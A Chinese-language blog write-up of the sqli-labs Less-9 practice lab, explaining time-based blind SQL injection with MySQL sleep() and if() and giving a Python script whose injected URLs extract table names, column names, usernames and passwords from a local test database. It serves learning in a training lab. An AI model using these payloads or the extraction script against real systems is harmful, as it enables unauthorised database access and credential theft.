当前位置:网站首页>sqlilabs less9
sqlilabs less9
2022-07-01 14:03:00 【永远是深夜该多好。】
第九关提示是基于时间的盲注,首先先来了解一下必要的函数
sleep(time) 仅在MySQL 5之后可用。等待time那么多秒
benchmark(count,expr) 重复执行expr count次,用来测试MySql执行表达式的速度。
if(condition,when_ture,when_false) 如果满足condition,就 执行或打印when_ture,否则就执行或打印when_false
满足condition
不满足condition
先来判断注入类型


用了 1’、1"、1 没有反应,为什么没反应呢,我猜想可能是因为服务器无论正确与否只会发送You are in…这一个数据,所以需要一些方法来发现是否正确,所以就有时间盲注,通过观察等待时间判断正确与否。
猜测可能是这样
if ((select * from tables where id = value) 有内容)
print You are in.....
else
print You are in.....
好了来实践一下
可以看到没有等待时间
等待了五秒,说明了什么,说明是字符型注入
先来判断列数
列数判断完以后就能开始下一步工作了
找到数据库名字长度是8
找数据库名字
找表名
属性名和元组值相同
不过手动时间盲注太过于麻烦,可以考虑burp suite,或者手写脚本。
import requests
def zr(url,zrname):
array1 = "abcdefghijklmnopqrstuvwxyz_-.,"
proof = "0000ff"
tmp = zrname
zrname = ''
for i in range(1,100):
url1 = url + str(i) + ',1)=\''
for s in array1:
url2 = url1 + s + '\',sleep(0.1),1)%23'
r = requests.get(url2)
if proof in r.text:
zrname += s
print( tmp + ": " + zrname)
zr('http://localhost/sqlilabs/Less-9/?id=1\' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),','tablename')
zr('http://localhost/sqlilabs/Less-9/?id=1\' and if(substr((select group_concat(column_name) from information_schema.columns where table_name = \'users\'),','columnslist')
zr('http://localhost/sqlilabs/Less-9/?id=1\' and if(substr((select group_concat(username) from users),','usernamelist')
zr('http://localhost/sqlilabs/Less-9/?id=1\' and if(substr((select group_concat(password) from users),','passwordlist')

啊,为什么判断条件是0000ff啊
我注意到正确的sql它有个这个
错误的就没有
总结一下
如果遇到有些情况,页面只有一种结果无法判断正确或者注入类型,就可以用时间盲注来通过等待时间判断正确。
边栏推荐
- Play with mongodb - build a mongodb cluster
- App自动化测试开元平台Appium-runner
- C语言基础知识
- Uni app realizes advertisement scroll bar
- 分布式事务简介(seata)
- Dragon lizard community open source coolbpf, BPF program development efficiency increased 100 times
- The best landing practice of cave state in an Internet ⽹⾦ financial technology enterprise
- A new book by teacher Zhang Yujin of Tsinghua University: 2D vision system and image technology (five copies will be sent at the end of the article)
- 【剑指 Offer】55 - II. 平衡二叉树
- 程序设计的基本概念
猜你喜欢

被裁三個月,面試到處碰壁,心態已經開始崩了

2022 · 让我带你Jetpack架构组件从入门到精通 — Lifecycle

Several models of IO blocking, non blocking, IO multiplexing, signal driven and asynchronous IO

Etcd summary mechanism and usage scenarios

用栈实现队列、用队列实现栈(C语言_leetcode_232+225)

那个很努力的学生,高考失败了……别慌!你还有一次逆袭机会!

2022 PMP project management examination agile knowledge points (6)

This paper introduces an implementation scheme to enhance the favorite transaction code management tool in SAP GUI
![[安网杯 2021] REV WP](/img/98/ea5c241e2b8f3ae4c76e1c75c9e0d1.png)
[安网杯 2021] REV WP
![[flask] flask starts and implements a minimal application based on flask](/img/45/77df241c85c4916914a37bb78275a5.png)
[flask] flask starts and implements a minimal application based on flask
随机推荐
ArrayList capacity expansion mechanism and thread safety
2022 · 让我带你Jetpack架构组件从入门到精通 — Lifecycle
leetcode 322. Coin change (medium)
Chen Yu (Aqua) - Safety - & gt; Cloud Security - & gt; Multicloud security
Realize queue with stack and stack with queue (C language \leetcode\u 232+225)
Interpretation of R & D effectiveness measurement framework
一文读懂TDengine的窗口查询功能
Explain IO multiplexing, select, poll, epoll in detail
队列的基本操作(C语言实现)
程序设计的基本概念
Uni app realizes advertisement scroll bar
【IoT毕设.下】STM32+机智云AIoT+实验室安全监控系统
Sign APK with command line
Go整合Logrus实现日志打印
Several models of IO blocking, non blocking, IO multiplexing, signal driven and asynchronous IO
uni-app实现广告滚动条
What "hard core innovations" does Intel have in the first half of 2022? Just look at this picture!
C language ordering management system
Error:Kotlin: Module was compiled with an incompatible version of Kotlin. The binary version of its
Etcd summary mechanism and usage scenarios



